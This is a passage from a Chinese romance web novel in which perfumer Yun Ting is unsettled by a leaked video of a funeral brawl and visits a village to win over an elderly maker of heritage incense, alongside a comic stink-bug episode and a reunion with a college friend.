云听敲字回复:「这听起来就不靠谱。」 Olivier料到她的反应,立刻补充一句:「更有意思的是,孩子的父亲,你也认识。」 自从徐清聿和唐瑶的事情发生后,云听便不太信网络上的流言蜚语,但看到Olivier无处安放的分享欲,她顺着他的话问下去:「谁?」 就算她不问,Olivier也会说。 Olivier悠悠发来一句话: 「调香比赛的评委之一,John Smith」 Elara的丈夫是John Smith? 这怎么可能? 云听一直猜测Elara是个年轻的女士,或许二十多岁,最多三十出头。 她的香水风格虽然成熟稳重,但总透着一丝灵动和大胆的实验性,不像是出自年长调香师之手。 John Smith头发都半白了,走路时神情肃穆,一副阅尽世事的老练与威严。 他们怎么可能是一对? 云听下意识地想否定,理智又让她冷静下来。 是她先入为主了。Elara的年龄只是外界的猜测,或许她比她想象中要年长得多。 云听摇了摇头,不信谣不传谣。 她回复:「你居然信这些?」 Olivier:「我只是转述,不代表我信。但这个传闻最近在小范围传开了。」 云听不想继续这个话题:「先去忙了。」 Olivier也没有纠缠:「OK。」 晚上,Olivier又给云听发了一段视频:看看这个。 是一段模糊的视频。 视频像是被偷拍的,画面晃动得厉害,背景嘈杂,依稀可以听见低声的哭泣声。 画面里,是一场葬礼。 葬礼场地在一座老旧的教堂外,四周是低矮的墓碑,黑压压地站满身穿黑衣的人。 所有人神情低沉,或低头沉思,或默默哀悼。 视频拍摄者的角度很刁钻,似乎是藏在极为隐蔽的地方偷拍。 一个高大的身影站在队伍最前方,穿着一件简单的及膝黑色大衣,手上戴着一副黑色的皮质手套。 云听瞳孔微缩,即便视频模糊,她还是一眼就认出那人的身影。是徐清聿。 突然,侧方又来了一个身着黑色西装的男人。 云听看到徐清聿转头了,他迈步走到男人面前,摘下手套,毫无预兆地一拳砸向他。 “砰——” 男人猝不及防,被一拳打得踉跄后退,狠狠撞到了旁边的墓碑上。 所有人被这一幕惊得愣在原地,连哭声都戛然而止。 云听看不到徐清聿的神情,只见他又往前走一步,显然还想继续动手。 男人捂脸,见到自己被打,立刻站起来,抬手想回击。 但徐清聿比他高出一大截,身材也比他结实,他的拳头刚挥出去,徐清聿已经敏锐地侧身躲开,随后一只手狠狠地扣住了他的手腕,另一只手又是一拳砸在他肩上。 视频到一半,两个同样高大的身影冲了出来。 是Kai和Elliot。 就在云听以为他们来制止徐清聿,这场冲突会到此为止时,她看到Elliot扬起拳头,砸在了男人的脸上。 Kai也不甘示弱,冷着脸挥起拳头,直接击中了男人的腹部。 男人被打得弯下了腰,看起来很痛苦。 他挣扎着想要还手,可他年纪大了,身体素质本就不占优势,哪是这三个年轻男人的对手? 他连站稳都成问题。 “他们疯了……” 云听心脏一跳,猛地从椅子上站了起来。 这是在葬礼上! 徐清聿竟然在这种场合公然动手? 而且,他的好友不仅没有阻止,反而一起动手,把男人打得毫无还手之力? 这到底是怎么回事? 有人惊着后退,有人匆忙拿出手机,还有人冲上去想要拉开他们,但没有人真的敢去拦徐清聿。 “你们疯了吗?!”男人找到机会喘息,捂着肚子,气息不稳地大吼,“这里是葬礼!你们知不知道自己在干什么?!” 云听听不清徐清聿说了什么。 她看到徐清聿伸手揪住了男人的衣领,把他重重地按在了墓碑上。 视频到这里就结束了。 最后的画面,是男人拼命挣扎,徐清聿的手还死死掐着他的衣领。 云听握着手机,心跳紊乱,她想起Olivier白天对她说过的话:“小道消息,她生了一对双胞胎女儿,父亲就是调香比赛的评委。” 被揍的人的确是Jhon Smith。 云听着急忙慌打开浏览器,在搜索栏里输入Elara的名字,期望能找到点线索。 屏幕上跳出的全是她过往的事迹, 她的香水如何惊艳世界,如何拿下多个国际大奖,如何改变了调香行业的格局。 但除此之外,什么都没有。 没有婚姻状况,没有家庭信息,没有任何关于她近期的动态。 太干净了,干净得让人觉得可疑。 云听深吸一口气,得不到想要的答案后,她直接给Olivier发消息:「这到底怎么回事?」 Olivier一直在等她的反应,几乎是秒回:「我一个朋友发给我的。」 云听:「葬礼是谁的?」 Olivier:「是一个小女孩」 云听:「如果和Elara有关,为什么新闻上完全没有报道?」 Olivier:「这你还不明白吗?有人截断了信息。我也不知道发生了什么。」 云听又搜索徐清聿的名字,中文名,英文名都查一遍,可以看到他之前参加过什么学术研究,但别无其他。 她已经无暇理会Olivier 的连环轰炸。 Olivier:「这个东方人和小女孩什么关系?」 Olivier:「他不会才是小女孩的亲生父亲吧?」 Olivier:「不太可能,他太年轻了,难道是未婚先孕?」 Olivier:「别的不说,这个东方人长得是真的好看。」 半小时后,云听才回复两个字:「不是。」 想了想,又补充:「Olivier,不要把视频传出去。」 不管是为了徐清聿还是Elara,如果这件事传出去,事态会很严重。 Olivier:「当然。」 * 云听坐在车上,额头发烫。 她的脑海里,反复浮现的,仍是视频里的画面。 徐清聿的暴戾、愤怒、失控,将Jhon Smith揍倒在地的场景。 她知道自己不该想这些事了,这与她无关,那个视频也是Olivier随手发来的,她没有必要为此困扰,可她就是控制不住。 她没见过这样的徐清聿,像一头被彻底激怒的野兽,失去所有的冷静与理智。 Olivier说视频中是一个小女孩的葬礼,再结合John Smith 在场,那这个小女孩极有可能是Elara的女儿。 可云听反复看过视频,如果是Elara女儿的葬礼,为什么视频里面没有一个女性的表情是失去女儿的痛苦? 现场仅有的几位女性都站在人群的边缘。而且,如果Elara生的是双胞胎,那还有一个女儿呢? 轮胎碾过颠簸的路面,车子不停摇摇晃晃,拉回云听的思绪。 云听闭上眼睛,把视频逐出大脑。 她此行的目的,是去星河,和坚守非遗线香技艺的老太太沟通合作的事宜。 但此刻,她没办法让自己专注。 车子里很安静,除了司机在和一个乘客闲聊外,没人说话。周之寒坐在她旁边刷手机,偶尔抱怨信号不好。 云听头靠在椅背上,闭目养神。 她昨天没睡好,视频里的一切让她心神不宁,以至于现在,她的身体有些疲惫。 徐清聿到底经历了什么? 他和Elara又是什么关系? 云听想起结婚前孟妍和她说的话。 想到这里,云听睁开眼睛,拍打自己的额头,一遍遍告诉自己,不能做离谱的猜想。 她侧头,无声地望着车窗外不断倒退的风景。 远处的田野一片枯黄,能看到一些低矮的房屋零散地分布在山脚,冬日的寒风将一切裹上一层寂静的灰色。 这里没有城市的喧嚣,只有沉默的大地和远处若隐若现的炊烟。 云听按了按太阳穴,思绪紊乱不堪。 “你怎么了?”周之寒注意到她的异样,收起手机,“脸色不太好。” “没什么。”云听语气淡淡的,声音带着点鼻音。 “是不是晕车?”周之寒递过来一瓶水,“你看起来有点不对劲。” 云听接过水,拧开瓶盖喝了一口:“可能是昨晚没睡好。” 周之寒没再多问:“等下车了多活动活动,别真晕过去。” 云听确实觉得晕沉沉的。 长途奔波让她的精神状态处于一种混乱的状态。 她按住额头,深吸了一口气。 车子继续行驶,沿着山路蜿蜒而上,远处的群山层层叠叠。冬天的山林寂静无声,能看到路边零星的树木上挂着残留的枯叶。 越往乡下走,信号就越差,云听的手机屏幕亮了一下,显示网络中断。 不知道过了多久,司机开口道:“前面就是村口了,等会儿路更窄,咱们得下车步行。” 云听调整了一下状态,不管怎么样,她必须先把这件事放下,现在她的任务是和老太太沟通,不能让自己的私人情绪影响到工作。 近年来,香氛市场的消费趋势发生了变化。 除了日常使用的香水,越来越多的消费者开始关注家居香氛,尤其是线香。 相比香薰蜡烛或扩香,线香的燃烧方式更贴近东方文化,讲究意境和氛围,深受高端消费者青睐。 Aurora敏锐地捕捉到了这一市场趋势,决定推出一款高端线香系列,希望能以最纯粹的传统技艺,创造出独一无二的香氛体验。 而老太太的非遗线香不同于市面上的普通线香,它采用了古法配方,严格按照非遗技艺制作,完全不含化学合成香料,所有原料均是天然香材,经过复杂的工艺调配而成。 她的线香采用的是特定山林中的檀香、沉香、降真香等珍贵木材,有些香料甚至要经历数年甚至十几年的陈化才能使用。 所有的香料都经过手工研磨、调配,确保香气自然、持久。 加上老太太的家族世代从事线香制作,她所掌握的技艺已经被列入非物质文化遗产,代表了最正统的东方香道技艺。 另外,部分高端客户已经开始关注养生和冥想,他们对线香的需求不仅仅是香气好闻,而是希望它能真正帮助放松身心。 而老太太的线香,正是有这种宁神安定的效果。 所以对于Aurora来说,应该是对于很多香水品牌来说,老太太的香势在必得。 云听下了车,踩在泥土和碎石混杂的小路上。 小村子坐落在山脚下,一条窄窄的河流从村子旁流过,河水很浅,能看见水底铺满了鹅卵石。 河岸边种着几棵老树,树叶已经掉光,光秃秃的树枝上挂着一层薄薄的霜。 云听和周之寒走了15分钟,才到目的地。 老太太的家是典型的乡间老屋,土砖砌成的房屋,墙壁上爬着枯萎的藤蔓,门口挂着一串红彤彤的辣椒和几串风干的玉米。 云听和在周之寒站在门口,刚抬手敲门,门就被人从里面推开了一条缝。 老太太站在门后,穿着一件深色的棉衣,头发花白,眉眼间满是拒人于千里之外的冷漠。 她打量了一眼站在门外的两人,语气生硬:“你们又来干什么?” 周之寒轻咳了一声,“老太太,您别误会,我们这次……” 云听向前一步,站在门槛外,声音温和:“老太太,我们今天是专程来拜访您的,想和您聊聊线香的事。” 老太太警惕道:“我说过多少次了?线香是传承,不是做生意的东西,我不会卖,也不会让人拿去做什么商业用途。” 老太太的眼神并没有敌意,但对她们也无一点信任。 “最近一直有人来找我,说得天花乱坠,和你们一样。我一个乡下老太婆,哪儿知道你们那些商业上的事?你们是想给自己挣个噱头,还是想着以后批量生产?” 云听没有因为她的态度而退缩,语气诚恳:我知道您在网上的故事,但真正的故事,恐怕没有那么简单,我们来这,只是想听听您的故事,也想了解您手里的技艺。” 老太太冷哼了一声,手握着门板,不打算让开道路:“了解我的技艺?你们这些人,说得再好听,最后不还是为了做生意?” “不是所有人都这样。”云听解释,“我是真的想知道您的手艺是怎么流传下来的,为什么您一直坚持手工制作,而不是交给更大规模的工厂生产。” 老太太的眼神闪了一下,嘴角动了动,但还是冷着脸:了解线香,你们年轻人懂什么是线香?香水、熏香、精油,搞这些东西的商人越来越多,但有几个人真的懂香?” 云听的语气不疾不徐,“老太太,我学过调香,香水、熏香、精油这些东西确实很普遍,但线香不一样,线香讲究时间、温度、湿度,每一步都不得有半点急躁。我今天来,只是想听听您的故事。” 老太太皱着眉盯着云听看了一会儿,像是在衡量她话里的诚意。 过了许久,老太太叹了口气,不情不愿道:“进来吧。” 屋内很简单,墙上挂着泛黄的老照片,木桌上摆着几个粗瓷碗,灶台上还温着一壶热水。 老太招呼她们坐下,随手拿起炉上的水壶,倒了两杯热茶,茶香淡淡的,带着一丝药草的清香。 她从房间里拿出一只雕刻精美的旧木盒,盒子表面已经有些许磨损。 老太太打开木盒,取出一卷线香。 “你知道真正的线香是什么样的吗?” 云听接过线香,轻轻捻了一下,发现它细腻紧实,香味并不浓烈。 老太太看着她的动作:“真正的线香,讲究‘三年制香,五年养香’。很多人以为做香不过是调配材料,然后搓成线条晒干就行,但他们不知道,线香是 有生命的,它需要时间去沉淀。” 云听点头,“所以,您不愿意让它商业化,是因为它不能量产?” 老太太冷笑了一下:“量产?如果线香可以批量生产,那它就不配称为非遗了。” 她讲起自己的故事。 她出生在南方的一个古镇,祖上三代都是制香师,家族制香的手艺,最早可以追溯到清朝末年。 她的祖父曾是宫廷御用制香师,手艺极为精湛,被誉为“香道宗师”。 那时候,制香并不是单纯为了点燃焚烧,而是一种精神寄托。每一根线香,都代表着一个故事,一种心境,一段记忆。 老太太从小就在香料堆里长大,她的祖父告诉她,真正的好香,是可以“活”的。 “活的香,是有温度的,有层次的,会随着时间的流逝,展现出不同的香韵。” 老太太拿起线香,在手中摩挲:“比如这一款‘雪落’,是我们家族传承了百年的配方,只有在冬天特定的温湿度下制作,才能达到最佳状态。它的前调是清冽的松木香,中调是幽幽的兰花香,后调则带着一丝檀香的温润。” “为什么叫‘雪落’?”云听见她不说话了,问道。 老太太眼里有泪光:“这是我祖父最得意的作品之一。据说,当年他还是少年时,曾在一个大雪纷飞的夜晚,听到远方寺庙的钟声,感受到一种前所未有的宁静。于是,他用松木、兰花和檀香,调制出这种可以让人感受到‘雪夜禅心’的香。” “可惜,这种香极难制作,一年只能做几十根。”老太太摇摇头,“所以,即便有人愿意出高价,我也不会卖。” 云听若有所思,这种将自然、记忆、情感融入香气的工艺,才是真正的“香道”吧。 老太太接着说道:“我们家族的线香,最讲究的是‘四象归一’,木香定魂,花香入心,草香养气,果香调神。” 她顿了顿,看向两人:“你现在明白了吗?线香不是简单的香料堆积,而是‘天、地、人、心’的融合。” 云听心中生出敬意,她问:“如果这门技艺不传承下去,岂不是要失传?” “我不是不愿意传承,但要看传给谁。”老太太目光犀利,“如果只是想赚钱,那学了也没用。” 她把线香放回盒子:“可惜至今没有人愿意尊重这门技艺,愿意花时间去学,愿意守住这份孤独……” 云听了解,老太太的心并非完全封闭,只是这些年,太多人为了利益而来,让她对外界失去了信任。 她微微一笑,看向老太太:“那如果有人愿意学呢?” * 第一天的沟通并不顺利。 老太太最后表现出来的态度很明确,她不愿意合作,也不愿意再多谈。 这件事不能急,只能慢慢来,先取得老太太的信任,再寻找突破口。 云听向老太太道了谢,表示自己还会再来拜访,老太太没有回应,淡淡地“嗯”了一声,转身进屋,把门关上。 周之寒站在一旁,一直没有说话,等到老太太关门后,他才叹了口气:“果然,她还是不愿意合作。” “没关系,我们先逛逛。”云听调整情绪。 周之寒跟着她往前走,语气带着点自嘲:“你倒是不急。” “急也没用。”云听笑了笑,低头望着脚下的石板路,“老太太不是第一次拒绝人了,我们是来谈合作的,不是来逼迫她的。” 周之寒没再说话。 他当然知道这个道理,但他的心情并没有云听这么平静。 其实他比云听早进公司三年,论资历,他是她的前辈,但论实力……他只能承认,云听比他优秀太多了。 公司里的人都知道,云听是Ethan亲自带出来的,短短半年,就成了公司最有天赋的调香师。 而他呢?他也努力工作,也做出了不少成绩,可他始终无法超越她,在公司,他的地位远远不及她。 这次和老太太谈合作,原本是他的任务,可如果他失败了,而云听成功了呢? 他不敢想。 云听不知道他的想法,只是随口问道:“你觉得老太太的线香怎么样?” “挺特别的。”周之寒心不在焉回了一句。 “只是挺特别?”云听挑眉,“她的线香技艺已经是非遗级别的了,里面用的香料,配比,燃烧后的层次感,都是顶级的。” “那又怎么样?”周之寒耸耸肩,“她不愿意合作,我们就只能干看着。” “所以我才说不能急。”云听继续往前走。 “你真的一点都不急?”周之寒盯着她,“公司让你来,是希望你能拿下老太太的合作。” “你也可以。”云听平静地看着他。 周之寒笑了一声,没有说话。 可以吗? 他是最先接手这个项目的人,但老太太的态度摆在这里,他根本没有头绪该如何说服她。 可云听呢?她看起来毫无压力,好像早已胸有成竹。 周之寒不知道云听是故意的,还是她真的不急。 对于云听来说,她确实不急,她有自己的想法。 这次的任务很重要,公司希望能开拓线香市场,而这正好和她的计划契合。 如果她以后要自己创业,传统线香的元素也会成为她品牌的一部分。所以,这次合作,不仅仅是公司的任务,对她个人而言,也是一次学习和探索的机会。 周之寒看到云听姣好的侧脸和眼下的青色,他想,如果自己能完成这次合作,那就证明他不比云听差,甚至能在领导面前赢得更多认可,可惜他完成不了。 站在全局看,有云听的助力绝对事半功倍,可如果云听成功了……那他可能再也没有机会超过她了。 他不想输。 可老太太不会轻易被说服,而云听,总是有办法的。 这让他很矛盾。 两人都没说话,一阵风吹过,云听打了个喷嚏,周之寒本想把外套脱下来给她,但转念一想,云听太有距离感了,她不会接受。 他侧过身对云听说:“小云,我们先回去休息吧。” 第53章 第五十三章 再次见面 因为是漫无目的的闲逛, 加上各自有心事,云听和周之寒都不记得回去的路了。 顺着原路返回,两人在同一条岔口上犯了同样的错误, 导致平白无故多绕了一圈。 等找到正确的路时,天色已暗。 村里路灯不多,光线昏暗。好在两人住的地方离老太太家不算远,走路十几分钟就能到。 这家小旅馆是村里为数不多的住宿点, 条件自然不能和城市的五星级酒店相比。 房间摆设简单,墙壁上能看到时间留下的淡黄色痕迹。地板是老旧的木板,每走一步都会发出轻微的“咯吱”声。 云听没有洁癖,以前也去过偏僻的地方找灵感,条件比这差的还有很多, 所以看到简陋的房间,并不失望。 穿衣服睡觉即可。 但周之寒不一样。 他有洁癖,见不得又乱又脏的东西。 先前他从星河回来,云听瞧他神色疲惫,误以为他在老太太那儿受挫, 后来一问才知道他是几天没有合眼。 也是难为他了。 回到房间后,云听第一时间去洗澡。 乡村的冬天比城市冷得多,即便屋里开着暖气,空气还是有一丝湿冷。 洗完澡后, 她换上宽松的家居服。 头发正在滴水,云听拿起吹风机, 一边吹头发,一边思考明天该怎么和老太太沟通。 就在这时,门外传来一阵脚步声。 紧接着,是响亮的敲门声。 “咚咚。” 云听关掉吹风机, 用毛巾包住头发,走过去开门。 门外站着的是周之寒。 周之寒脸色不自然,说话也吞吞吐吐,“小、小云……” “怎么了?” 周之寒张了张嘴,欲言又止。 云听又重复一遍:“周老师,你怎么了?” 周之寒咬咬牙:“小云,你怕虫 子吗?” 云听愣了一下,没想到他问这个问题,她不太确定地回答:“还好吧?” 周之寒闻言,一喜:“那你能不能帮我去抓虫子?” 云听眨了眨眼,没忍住笑了:“周老师,你堂堂一个大男人,居然怕虫子?” 周之寒脸色黑了一半,强撑脸皮解释道:“我不是怕,只是有点不太擅长…抓虫。” “哦?不太擅长?”云听看到周之寒铁青的脸色,又想笑了。 怕虫的周老师和平常的周老师有点反差。 周之寒不自然地挪开目光,干咳一声:“小云,你到底帮不帮?” 云听不想去,她不怎么怕虫子,但对虫子也没什么好感,可是看到周之寒一个大男人站在门口愁眉苦脸的模样,实在于心不忍。 她拿起一件外套披上:“走吧,周老师。” 两人一前一后走进周之寒的房间。 房间布局一样,家具同样老旧,云听问:“在哪儿?” 周之寒躲在云听身后,指了指床头柜:“就在那儿,刚才我躺下的时候看到的。” 云听顺着他的手指看去,床头柜的边缘,有一只黑红色的小虫趴在那里,腿还在蠕动。 云听语气不太妙:“……臭屁虫?” 她最讨厌的就是臭屁虫。 又丑又臭。 只要受到惊吓或者被压死,臭屁虫就会释放出一股刺鼻的气味,味道酸臭难忍,根本不是普通虫子能比的。 光是看到臭屁虫,云听就能在脑海里回忆起那令人作呕的气味了。 周之寒看到她的表情,心里咯噔一下:“你……不怕吧?” 云听面无表情地转身,来到周之寒身后,语气无比坚定:“周老师,我怕。” 周之寒:“……” 他无助问:“找不到别人,那现在怎么办?” 云听真诚地吐出两个字,“加油。” 周之寒嘴角抽动,“小云,你不能帮我吗?” 云听摇头,“不能。” “……”周之寒无奈,认命地靠近臭屁虫。 它还稳稳地趴在床头柜上。 周之寒深吸了一口气,伸手从旁边抽出一张纸巾,一张不够,又抽一张。 云听看到他堆了厚厚的一层,才听到他说:“行吧,我自己来。” 云听站在后面看着,心想,你本来就该自己来。 周之寒屏住呼吸,颤颤巍巍靠近臭屁虫。 他以为只要速度够快,就能抓住臭屁虫,可当他的手快要碰到臭屁虫时,那东西动了一下。 “……” 周之寒的手立刻停在半空中,不敢再往前。 他稳住心神后,再次尝试。 这次还没靠近,臭屁虫张开翅膀,“嗡”的一下飞走了。 周之寒脸色一变,手里的纸巾掉到地上,脏话脱口而出,“操。” 臭屁虫在空气中晃晃悠悠地飞着,目标明确地朝他冲了过去。 周之寒的背都僵住了,脸上的表情从惊讶到震惊,最后变成了彻底的恐惧。 “这什么鬼东西!” 他整个人僵在那里,不敢乱动,可臭屁虫偏偏不肯放过他,在他面前盘旋了一圈,落在了他的衣服上。 云听目睹了全程,她本来只是淡定地围观,可当看到臭屁虫停在周之寒的衣服上后,她的表情也不对劲了。 她迅速调整好表情,不动声色往后退了一步。 周之寒终于反应过来了,他脸色发白,身体僵硬,慢慢地抬起手,想把臭屁虫弄下来。 可他还没碰到,那臭屁虫又动了一下,爬入更深的地方。 “……”周之寒表情绷不住了,向云听求救:“小云,你过来帮我弄一下……” 云听再一次后退了一步,“周老师,你别过来。” 周之寒的理智荡然无存:“你不是说不怕吗?” 云听老实回答:“我是不怕,但我嫌它脏。” 可周之寒管不了这么多,他已经受够了,他不想一个人承受这场灾难。 他一步一步朝云听走去,脸上的表情狰狞又绝望:“小云,你再不过来帮忙,它真的要往里面爬了!” 云听看到他的动作,反应极快,在周之寒迈出第二步时,迅速伸手,一把抓住门把手。 “砰!” 房门被她关上了! 周之寒还没反应过来,眼前就只剩下一扇紧闭的木门。 “小云。”他伸手拍了拍门板。 门外,云听往后退了几步,和这扇门保持安全距离。 “周老师,你今天可能要多洗几遍澡了。”她的声音从门外传进来,“我想到我还有点事,先走了。” “周老师,再见。” 云听再次回到房间后,打开手机, 房间的信号不好,但消息能发出去。 今天她听完老太太的故事,想到了她大学的室友,路见薇。 路见薇家境普通,但自小对香文化有浓厚的兴趣。 她的爸爸是中药师,妈妈则在当地的博物馆做研究员,从小在药草与古物的熏陶下长大,她的童年几乎是泡在中药铺和书卷之间度过的。 她最喜欢的事情,就是在书架上翻找关于香道、香方的古籍,琢磨各种香料的搭配。她也会在家里的小院子里,自己试着熬制香膏,做成小块,送给朋友试用。 大一暑假,云听和路见薇去了一趟云州,在一个古香古色的小巷里,两人偶然走进了一家百年香铺。 那家香铺很小,但摆满了各种各样的香料盒,两人转了一圈,正要离开时,路见薇被一股清冷幽然的香气吸引了。 那是一款用惠安沉香、千日红和梅花调制的线香,店主告诉她,是她师父亲手做的,一年只做几十盒,专供寺庙和老客户。 路见薇试着点了一根。 那一刻,她仿佛听见了时间流转的声音。 香气清雅悠远,像是雨后梅林,又像是书卷翻动间,纸张染上的淡淡墨香。 路见薇花光了所有零花钱,买下了一整盒线香,小心翼翼地带回学校,像宝贝一样珍藏着。 从那之后,她彻底爱上了线香。 回到学校后,路见薇疯狂地钻研香方,翻阅古籍,找遍各种博物馆和老书店,去收集关于香道的资料。 她还偷偷在宿舍里用最简单的原料,尝试调配线香。没钱买沉香,她就用艾草和柏木代替,没钱买研磨工具,她就用石头一点点研磨香料。 有一次,云听回到宿舍,发现路见薇正蹲在阳台上,耐心地搅拌着一小碗混合香粉。 “你在干嘛?”云听好奇地问。 “做香。”路见薇头也不抬地回。 “你这是什么香?” 路见薇抬头冲她笑了笑:“我自己调的,叫‘夜阑’,用的是艾草、薄荷和一丁点儿茉莉花。” “为什么叫‘夜阑’?” “因为它闻起来像深夜的风。”路见薇说。 毕业后 ,路见薇去了云州,这些年,她一直在做传统香道的研究,还自己开了一家小香坊,用最传统的手工方式制作线香。她坚持不用任何化学香精和黏合剂,只用最原始的方法,让香料自然融合。 不过,她的生意并不好做。 市场上充斥着廉价的化学香,手工线香的成本高,工艺繁琐,真正愿意欣赏的人并不多。 云听想,如果有谁能理解老太太的坚持,真正热爱线香,并愿意用心去学习这门技艺,那个人,一定是路见薇。 她打开和路见薇对话框,给路见薇发了一条消息: 「薇微,我遇到一位很厉害的制香师,你有没有兴趣认识一下?我认为你会感兴趣的。」 * 次日清晨。 云听从包里拿了两瓶牛奶和几片吐司,刚打开门,她就看见周之寒站在院子里,肩膀塌着。 他穿着昨天那件外套。 晨风吹拂,他的身形格外落寞。 周之寒的黑眼圈很重,脸色憔悴得像是刚从一场灾难中逃生,双眼无神地望着远方,似乎在思考人生。 比他的精神状态更让云听在意的是,那股挥之不去的臭味。 云听的表情微不可察地变了变。 风顺势吹来,那股熟悉的、令人窒息的臭味迅速弥漫过来,让她本能地屏住了呼吸。 周之寒察觉到她的存在,转过头来。 他的表情沉重,眼神复杂,带着一种沧桑和疲惫。 “早。”他说。 云听点头,强忍皱眉的冲动:“早。” 她保持与周之寒三米远的安全距离。 “你……”周之寒神情苦涩,搓了一把头发:“小云,你还闻得到吗?” 他昨晚彻夜未眠,半夜起来洗了七八次澡,可臭屁虫留下的那股味道已经彻底浸透进他的衣服,也有可能渗透到他了的皮肤里。 他身上的臭气,寻常人可能闻不到,但在场的都是调香师,嗅觉灵敏。 “我自己倒是闻不到了。”周之寒喃喃道,抬手揉了揉鼻梁,“闻了一整晚,我的鼻子已经不灵了。” 云听抿唇,思考了一秒后,善意地给出一句安慰:“周老师,没关系,我闻得到。” 周之寒:“……” 他深吸一口气,努力调整心态,但很明显,心理上的打击比昨晚面对臭屁虫时还要严重很多。 两人本来计划在这边停留三天,加上路途遥远,行李尽量精简,贴身衣物带了几套,但外套只带了一件。 也就是说,周之寒没有换洗的外套。 而这件外套,已经沦陷在昨晚的“臭屁虫灾难”里。 “小云,你说……”周之寒的声音有种自暴自弃的决绝,“在冻死和臭死之间,我该选哪一个?” 云听回答:“你已经选了。” 周之寒选择臭死。 毕竟,二月的乡村清晨,寒风刺骨,他若是不穿外套,得考虑自己能不能熬过这几个小时的低温。 风再次吹来,味道又弥漫了。 云听的表情控制得极好,但她的身体比理智更诚实,她又后退了一步。 周之寒看在眼里,“小云,你别躲得这么明显。” 云听尴尬一笑,举起手中的吐司,“周老师,你要吃早餐吗?” 周之寒接受现实,决定放弃挣扎,“吃,谢谢。” 云听把牛奶和三明治放在地上,让他自己过来拿。 放到地上后,她又往另一边走了几步。 周之寒扎心了,走上前拿起早餐,他没什么胃口,但早饭还是得吃,拆开包装后他说:“小云,你和我想象中的不太一样。” 云听把手机放进上衣口袋,咬了一口吐司:“周老师,你和我想象中的也不一样。” 她想了想,又道:“周老师,回去之后把外套泡一晚上,然后再晒两天,应该能好一点。” “不洗,回去之后,我会第一时间把它扔掉。” * 简单吃了点早餐后,云听再次前往老太太的家。 这次,她带了点小礼物。 不是昂贵的东西,是她自己调制的几款香包,内里是中草药和天然香料混合的香气,有助于安神、助眠,也有些许驱虫的作用。 老太太看到她来,没有惊讶,问她:“怎么又来了?” “昨天您说了,线香是给懂它的人用的。”云听说,“我想多了解一些。” 老太太看了她一眼,让她进来。 云听两只脚刚迈进,老太太利索地关上门,周之寒吃了个闭门羹。 “……” 老太太带云听去了后院。 后院是她晾晒香材的地方,木架上全是晒干的沉香木、檀香碎片,还有一些她自己种植的中草药。 老太太低头整理香材:“你真的是来学习的? “嗯。”云听真诚点头。 老太太没再说话,过了一会儿,她拿起一块沉香木,递给云听:“闻闻。” 云听接过来,仔细嗅了嗅,沉香木的味道温润深厚,还有一丝木质的清甜,她轻声道:“这是海南的沉香?” 老太太有些惊讶:“你居然能闻出来?” 云听笑了笑,“之前接触过一些。” 云听在老太太的后院待了一上午,中午时,云听看出老太太不想留她吃饭,于是自觉地离开了。 算算时间,路见薇也快到了。 昨晚她和路见薇提了这事后,路见薇说她会快马加鞭赶过来。 云听走出大门,看到周之寒靠着院墙站着,双手抱胸,眉头紧锁。好消息是,身上的味道散了一点。 她忍住笑,慢慢走过去,轻声问道:“周老师,你还好吗?” 周之寒已经懒得说话了。 他被臭屁虫折磨了一整晚,好不容易熬到太阳升起,结果又被老太太拒之门外。 他的尊严已经降到了最低点。 这任务,爱谁谁吧,他这辈子都不想再来这里了。 云听想起老太太关门前轻飘飘地对周之寒抛下一句,年轻人,多洗几遍澡吧,就控制不住嘴角上扬, 她尽量让自己的语气听起来真诚一点:“老太太有点敏感,她可能不太习惯闻到这种味道……” 周之寒不愿再提:“你这边怎么样?” “不怎么样。”云听顿了顿,“对了,我有个朋友今天要过来,我现在过去接她。周老师你要先回去吗?” 周之寒看到云听瘦弱的身躯,万一她在这个鸟不拉屎的地方出点什么事,他难辞其咎,他没有犹豫,“我和你一起去吧。” 两人到目的地后,路见薇已经在那等了。她剪了一头利落的短发,穿着一件黑色大衣,身边有一个26寸的行李箱。 看到云听后,她张开双臂:“快来!” 云听笑着跑过去,和她相拥。 两人松开后,彼此打量了一下,路见薇先开口:“真是几年没见,你竟然已经是大明星了。” 云听失笑:“别取笑我。” 路见薇感慨地叹了口气:“不过话说回来,我真是羡慕你啊,事业有成,做自己喜欢的事,还成了名。” “那你呢?这几年过得怎么样?” 路见薇耸耸肩,无奈道:“还能怎么样?反正不如意的事情十有八九。” 云听正要说话,路见薇却岔开话题:“你联系我,不会只是为了这件事吧?” “当然不是。”云听看出她的心思,“你这几年为什么不联系我?有困难不和我说吗?不把我当朋友吗?” 路见薇低头踢了踢地上的石子,沉默了一下,才道:“其实也没什么事,就是觉得我们太久没联系了,突然找你帮忙,好像有点奇怪。” 云听大学寝室四人关系不错,不会上演勾心斗角的宫心计。四个人,有五个群,只有一个群是四人,其他都是三人群。创群的目的也是给不在群的第四人准备生日惊喜。 只是毕业后,四个人各奔东西,工作忙,她们四人又不是话痨,所以寝室群通常很安静。 路见薇说:“平常忙着工作不联系,一联系你就是想让你帮忙,那也太现实了吧?我才不要呢。” “你是我的朋友,这种事有什么好计较的?” 路见薇抬手摸了摸鼻子,笑骂道:“你少在这煽情!” “好了好了,不说这些。”云听笑着拉起她的手,“先去住的地方放行李吧,顺便带你逛逛村子。” 两人唠嗑了半晌,云听才后知后觉周之寒还在她们身后,她冲周之寒愧疚一笑:“不好意思啊,周老师。” 周之寒摆摆手,自觉地提过路见薇的行李,“没关系。” 路见薇上下观察周之寒的脸和 身材,靠近云听,蹭了蹭她的肩膀,八卦问:“云云,这位帅哥是你男朋友?虽然不是什么绝世大帅哥,但也很帅咯。” 云听结婚的事没几人知道,又不是为爱结婚,没必要通知其他人,她解释“当然不是。” 路见薇友好地朝周之寒伸出手,“你好,我叫路见薇。” 鼻子一痒,她皱了皱鼻子。 周之寒看见她的表情,敏感的自尊心又被伤害到了。 没关系,后退一步就是。他说:“你好,周知著。” 路见薇“呀”了一声,往前走一步:“我们好有缘分呀,那个成语叫什么来着,见微知著。” 周之寒,云听:“……” 三人并排回去,路见薇走在中间,一手挽着云听的胳膊,走着走着她闻到空气中有一种奇怪的气味。 她嗅了嗅,原本只是想确认一下是不是自己的错觉,可这股味道越来越明显。 好像是周知著身上的味道。 路见薇心里疑惑,但出于礼貌,没有表现出来。 但是那股味道着实让人难以忽略,像是某种挥之不去的陈年发酵气息,沉闷、带着一点动物腺体释放的刺激感,甚至有点……熟悉? 在好奇心的驱使下,她悄悄地往周之寒那边靠近了一步。然后,又多闻了几次。 云听见状,顺着她过去。 